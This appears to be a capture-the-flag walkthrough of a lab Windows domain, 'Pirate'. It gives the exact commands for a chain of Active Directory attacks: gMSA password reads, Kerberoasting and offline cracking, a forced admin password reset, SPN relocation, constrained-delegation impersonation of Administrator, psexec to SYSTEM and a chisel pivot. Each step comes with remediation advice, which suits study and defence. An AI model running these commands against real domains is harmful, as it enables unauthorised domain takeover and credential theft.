← all walkthroughs

Pirate

Windows· Hard
owned
2026-06-30
time to own
10m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I leveraged a domain-joined workstation account with a trivially weak password to chain five compounding misconfigurations across pirate.htb: over-privileged Group Managed Service Account read rights yielded a service account hash; Kerberoasting that hash cracked a user credential; an excessive Active Directory write-permission allowed resetting a privileged admin account's password; and constrained delegation with protocol transition let me impersonate the domain Administrator and land a SYSTEM shell on the domain controller. A final reverse pivot reached an internal host to capture the remaining flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceService Enumeration / Kerberos Clock Skew Measurement
Fingerprinted the domain controller and measured Kerberos clock skew
I confirmed DC01 ($TARGET) as the pirate.htb domain controller via SMB, noted that null authentication was accepted, and used nmap's smb2-time script to measure a roughly +7-hour offset between the attack host and the DC clock. The Kerberos protocol rejects tickets more than 5 minutes out of sync, so every subsequent Kerberos operation was wrapped with 'faketime +7 hours' to stay within that window.
SMB $TARGET 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (Null Auth:True)
Exact commands 2
shell

Confirm DC01 identity, domain name, and null-auth status; add DC01/pirate.htb to /etc/hosts.

$ nxc smb $TARGET --generate-hosts-file /tmp/pirate-hosts-check
shell

Verify Kerberos/LDAP ports confirming DC role and read the DC system clock for skew calculation.

$ nmap -Pn -p 88,389,445,464 --script smb2-time $TARGET
2Initial AccessValid Accounts: Domain Accounts (T1078.002)
Obtained a domain Kerberos ticket using a machine account with a default password
The domain-joined workstation account MS01$ had a password set to its own shortened account name. Using these credentials I requested a Kerberos TGT from the domain controller, establishing an authenticated domain foothold without any exploitation of an external vulnerability.
Exact commands 2
shell

Request a TGT for the machine account. Ticket saved to /tmp/MS01$.ccache.

$ faketime '+7 hours' impacket-getTGT pirate.htb/'MS01$':"$PASSWORD3" -dc-ip $TARGET
shell

Confirm the TGT was issued and note the expiry time.

$ klist -c /tmp/MS01\$.ccache
FixEnforce strong, unique passwords for all machine and service accountsCritical
WeaknessThe domain-joined workstation account MS01$ had a password identical to a shortened form of its account name. Anyone who knows the account name can immediately obtain a valid Kerberos TGT and gain a fully authenticated foothold in the domain.
FixApply a Fine-Grained Password Policy (PSO) to computer and service accounts requiring a minimum of 25 randomly generated characters. For manually managed machine accounts, enforce rotation via Microsoft LAPS (Local Administrator Password Solution), which generates and stores unique per-device credentials in a protected AD attribute. Audit stale credentials with: Get-ADComputer -Filter * -Properties PasswordLastSet | Where-Object { $_.PasswordLastSet -lt (Get-Date).AddDays(-90) }
3Credential AccessGroup Managed Service Account Password Retrieval (T1552)
Read the current password hash of a Group Managed Service Account
The machine account MS01$ was listed in the PrincipalsAllowedToRetrieveManagedPassword attribute of gMSA_ADFS_prod$. Using the TGT from the previous step, I queried the msDS-ManagedPassword attribute of that gMSA over an authenticated LDAP call, directly extracting the NT hash for gMSA_ADFS_prod$ without needing to crack anything. GMSA passwords rotate automatically but are fully readable in cleartext form by any principal granted this delegated right.
Exact commands 1
shell

Reads the managed-password blob over Kerberos as MS01$; extract the NT hash from the output.

$ KRB5CCNAME='/tmp/MS01$.ccache' faketime '+7 hours' bloodyAD -d pirate.htb -k --kdc dc01.pirate.htb -i $TARGET get object 'gMSA_ADFS_prod$' --attr msDS-ManagedPassword
FixRestrict which principals can read a gMSA's managed passwordHigh
WeaknessThe workstation account MS01$ was granted ReadGMSAPassword rights on gMSA_ADFS_prod$. Any compromise of MS01$ (through its weak password, or by a local an unauthorised user on that workstation) immediately yields the gMSA's current NT hash, collapsing the isolation that a managed service account is designed to provide.
FixAudit every gMSA's allowed readers: Get-ADServiceAccount -Identity gMSA_ADFS_prod$ -Properties PrincipalsAllowedToRetrieveManagedPassword. Remove MS01$ unless it is the specific host running the ADFS service. Grant ReadGMSAPassword only to the exact computer account(s) that host the service, and prefer a dedicated security group so membership is auditable. Review all gMSAs with the same command pattern.
4Credential AccessKerberoasting (T1558.003)
Cracked a user account's password via Kerberoasting
The gMSA's NT hash was used to authenticate a Kerberos ticket request for the SPN ADFS/a.white, which was registered on the regular user account a.white. The domain controller returned a TGS-REP encrypted with a.white's password-derived key. I cracked this blob offline against a common wordlist and recovered the plaintext password.
TGS-REP hash for a.white cracked from /tmp/pirate_kerberoast.hashes.
Exact commands 2
shell

Request TGS-REP hashes for all Kerberoastable accounts, authenticated as gMSA_ADFS_prod$.

$ faketime '+7 hours' impacket-GetUserSPNs -dc-ip $TARGET pirate.htb/'gMSA_ADFS_prod$' -hashes :$HASH -request -outputfile /tmp/pirate_kerberoast.hashes
shell

Crack the TGS-REP hash offline; recovers a.white's password.

$ hashcat -m 13100 /tmp/pirate_kerberoast.hashes /usr/share/wordlists/rockyou.txt
FixHarden or eliminate Kerberoastable user accountsHigh
WeaknessThe user account a.white had a service principal name (ADFS/a.white) registered, making it Kerberoastable. Its TGS-REP hash was crackable offline using the common rockyou wordlist, meaning the password was not strong enough to resist a dictionary attack even without access to the domain controller.
FixFor any SPN that must remain on a user account, enforce a minimum 25-character random password via a Fine-Grained Password Policy so offline cracking is computationally infeasible. Prefer migrating service SPNs to gMSA accounts, which use 240-bit random passwords that cannot be cracked. Discover all Kerberoastable accounts with: Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName, PasswordLastSet
5Privilege EscalationAccount Manipulation via AD ACL Abuse (T1098)
Reset a privileged administrator account's password using delegated write access
A.white held write-property rights over the privileged account a.white_adm in Active Directory. Using the cracked password, I authenticated as a.white and called bloodyAD to forcibly set a.white_adm's password to a known value without needing to know the existing one. This immediately converted control of a standard user account into control of a privileged admin account, collapsing the purpose of having a separate admin identity.
Exact commands 2
shell

Force-reset a.white_adm's password using a.white's delegated write rights over that object.

$ bloodyAD -d pirate.htb -u a.white -p "$PASSWORD" -H dc01.pirate.htb -i $TARGET set password a.white_adm "$PASSWORD2"
shell

Confirm the new credential authenticates against the domain controller.

$ nxc smb $TARGET -u a.white_adm -p "$PASSWORD2" -d pirate.htb
FixRemove write permissions between standard user accounts and privileged admin accountsCritical
WeaknessThe regular user a.white held write-property rights over the privileged account a.white_adm in Active Directory, allowing a.white to reset a.white_adm's password without knowing the existing one. This entirely negated the isolation that a separate admin account provides, since any compromise of a.white automatically yields control of a.white_adm.
FixAudit all non-inherited ACEs on privileged accounts: run (Get-Acl 'AD:\CN=a.white_adm,...').Access and remove any GenericWrite, WriteProperty, or GenericAll grants held by non-administrative principals. Enforce a tiered administration model where Tier 0 accounts (domain controllers, domain admins) cannot be written by Tier 1 or Tier 2 accounts. Use BloodHound or similar tooling to discover all paths where a standard account can reach a privileged one through ACL chains.
6Privilege EscalationSPN Manipulation to Steer Delegation Key Ownership
Relocated a service principal name to make delegation resolve to the domain controller
A.white_adm was configured for constrained delegation with protocol transition targeting the service HTTP/WEB01. The SPN HTTP/WEB01 was registered on the WEB01$ computer object, so impersonation tickets were encrypted with WEB01's key and were useless against DC01. Because a.white_adm held SPN-write rights on computer objects, I removed the SPN from WEB01$ and re-registered it on DC01$. The KDC then resolved HTTP/WEB01 to DC01$ and encrypted future delegation tickets with the domain controller's own key.
Addspn.py used to remove HTTP/WEB01 from WEB01$ and add it to DC01$.
Exact commands 2
shell

Remove the HTTP/WEB01 SPN from WEB01$ computer object (-r flag = remove).

$ python3 /opt/krbrelayx/addspn.py -u 'pirate.htb\a.white_adm' -p "$PASSWORD2" -t 'WEB01$' -T samname -s 'HTTP/WEB01' -r -dc-ip $TARGET $TARGET
shell

Register HTTP/WEB01 SPN on DC01$ so S4U2Proxy tickets are encrypted with the domain controller's own key.

$ python3 /opt/krbrelayx/addspn.py -u 'pirate.htb\a.white_adm' -p "$PASSWORD2" -t 'DC01$' -T samname -s 'HTTP/WEB01' -dc-ip $TARGET $TARGET
FixRemove unconstrained protocol-transition delegation and restrict SPN write rightsCritical
Weaknessa.white_adm was configured with the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition), allowing it to impersonate any domain user for services listed in msDS-AllowedToDelegateTo without requiring the impersonated user's credentials. Additionally, a.white_adm held write rights on computer-object SPNs, letting an unauthorised user move the delegation target SPN onto the domain controller itself and then impersonate the domain Administrator against DC01 over SMB.
FixAudit all accounts with protocol transition enabled: Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation. Replace protocol-transition constrained delegation with resource-based constrained delegation (RBCD), which is scoped to specific destination machines and does not require the TRUSTED_TO_AUTH_FOR_DELEGATION flag. Remove SPN-write permissions (GenericWrite on ServicePrincipalName) from delegating accounts. Mark all Tier 0 accounts and Domain Controller computer objects as 'Account is sensitive and cannot be delegated' (or add them to the Protected Users group) to block impersonation of them entirely regardless of delegation configuration.
7Privilege EscalationConstrained Delegation with Protocol Transition, Pass-the-Ticket (T1550.003)
Impersonated the domain Administrator through constrained Kerberos delegation
With the SPN now owned by DC01$, I invoked impacket-getST to perform S4U2Self followed by S4U2Proxy as a.white_adm. The TRUSTED_TO_AUTH_FOR_DELEGATION flag allowed S4U2Self without the target user's credentials; S4U2Proxy then produced a service ticket impersonating the domain Administrator for HTTP/WEB01. The -altservice flag rewrote the ticket's service name to cifs/DC01, converting it into a valid SMB credential for the domain controller itself.
Impacket-getST -spn HTTP/WEB01 -altservice cifs/DC01 -impersonate Administrator produced Administrator@cifs_DC01@PIRATE.HTB.ccache.
Exact commands 1
shell

S4U2Self + S4U2Proxy chain; produces Administrator@cifs_DC01@PIRATE.HTB.ccache in /tmp.

$ faketime '+7 hours' impacket-getST -dc-ip $TARGET -spn 'HTTP/WEB01' -altservice 'cifs/DC01' -impersonate Administrator "pirate.htb/a.white_adm:$PASSWORD2"
8Full CompromiseRemote Service Execution via Pass-the-Ticket (T1569.002, T1550.003)
Executed commands as SYSTEM on the domain controller and retrieved both flags
The forged Administrator Kerberos ticket was loaded into the session and used with impacket-psexec to open an interactive SYSTEM shell on DC01. Root.txt was read from the Administrator desktop. A second delegation ticket was then minted for cifs/WEB01 and used over a reverse SOCKS proxy (chisel) through the DC01 foothold to reach the internal host WEB01 ($INTERNAL_HOST, unreachable directly from me network), where user.txt was pulled from the a.white desktop via the C$ share.
Psexec returned nt authority\system on DC01.
Exact commands 4
shell

Opens an interactive SYSTEM shell on DC01 using the forged Kerberos ticket.

$ KRB5CCNAME='/tmp/Administrator@cifs_DC01@PIRATE.HTB.ccache' faketime '+7 hours' impacket-psexec -k -no-pass -dc-ip $TARGET -target-ip $TARGET 'Administrator@DC01'
shell

Run from the SYSTEM shell; outputs <root.txt>.

$ cmd.exe /c type C:\Users\Administrator\Desktop\root.txt
shell

Mint a second ticket rewritten for cifs/WEB01 to pivot to the internal host.

$ faketime '+7 hours' impacket-getST -dc-ip $TARGET -spn 'HTTP/WEB01' -altservice 'cifs/WEB01' -impersonate Administrator "pirate.htb/a.white_adm:$PASSWORD2"
shell

Retrieve user.txt from WEB01 via chisel SOCKS proxy; outputs <user.txt>.

$ KRB5CCNAME='/tmp/Administrator@cifs_WEB01@PIRATE.HTB.ccache' proxychains4 impacket-smbclient -k -no-pass 'Administrator@WEB01' -c 'get C:/Users/a.white/Desktop/user.txt /tmp/user.txt'

Attack patterns used

The transferable techniques behind this compromise.

gMSA Password ReadActive Directory · Credential AccessT1555

What it is

Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.

Why it works

gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.

Read more

KerberoastingActive Directory · KerberosT1558.003

What it is

Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.

Why it works

Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).

Read more

Kerberos Delegation Abuse (S4U / RBCD)Active Directory · KerberosT1558

What it is

Kerberos delegation lets a service impersonate users to other services. Misconfigured constrained delegation (S4U2Self + S4U2Proxy) or resource-based constrained delegation (RBCD) can be abused: controlling a delegating account (or an account with write access to a target's msDS-AllowedToActOnBehalfOfOtherIdentity) lets an unauthorised user forge a service ticket as an arbitrary user (e.g. Administrator) to the target service.

Why it works

Delegation is powerful and easy to over-grant; combined with an 'altservice' SPN trick an unauthorised user can pivot the delegation to high-value services like CIFS/HOST on a DC. Remediate by minimizing delegation, marking sensitive accounts 'not delegatable', and adding them to Protected Users.

Read more

Exposed services

445/tcp